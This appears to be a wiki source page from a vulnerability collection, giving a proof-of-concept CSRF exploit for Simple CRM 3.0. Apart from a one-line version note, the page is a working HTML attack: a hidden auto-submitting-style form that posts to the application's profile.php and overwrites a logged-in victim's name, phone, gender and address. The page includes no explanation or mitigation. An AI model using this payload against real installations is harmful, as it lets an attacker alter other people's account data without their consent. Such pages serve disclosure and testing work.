View source for Simple CRM 3.0 CSRF漏洞/zh-cn

<languages />
==漏洞影响==
Version: 3.0

==POC==
<pre>
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/crm/profile.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="alt&#95;email" value="" />
      <input type="hidden" name="phone" value="0123456789" />
      <input type="hidden" name="gender" value="m" />
      <input type="hidden" name="address" value="jgjgjgjjggjcsrf" />
      <input type="hidden" name="update" value="Update" />
      <input type="submit" value="Exploit" />
    </form>
  </body>
</html>
</pre>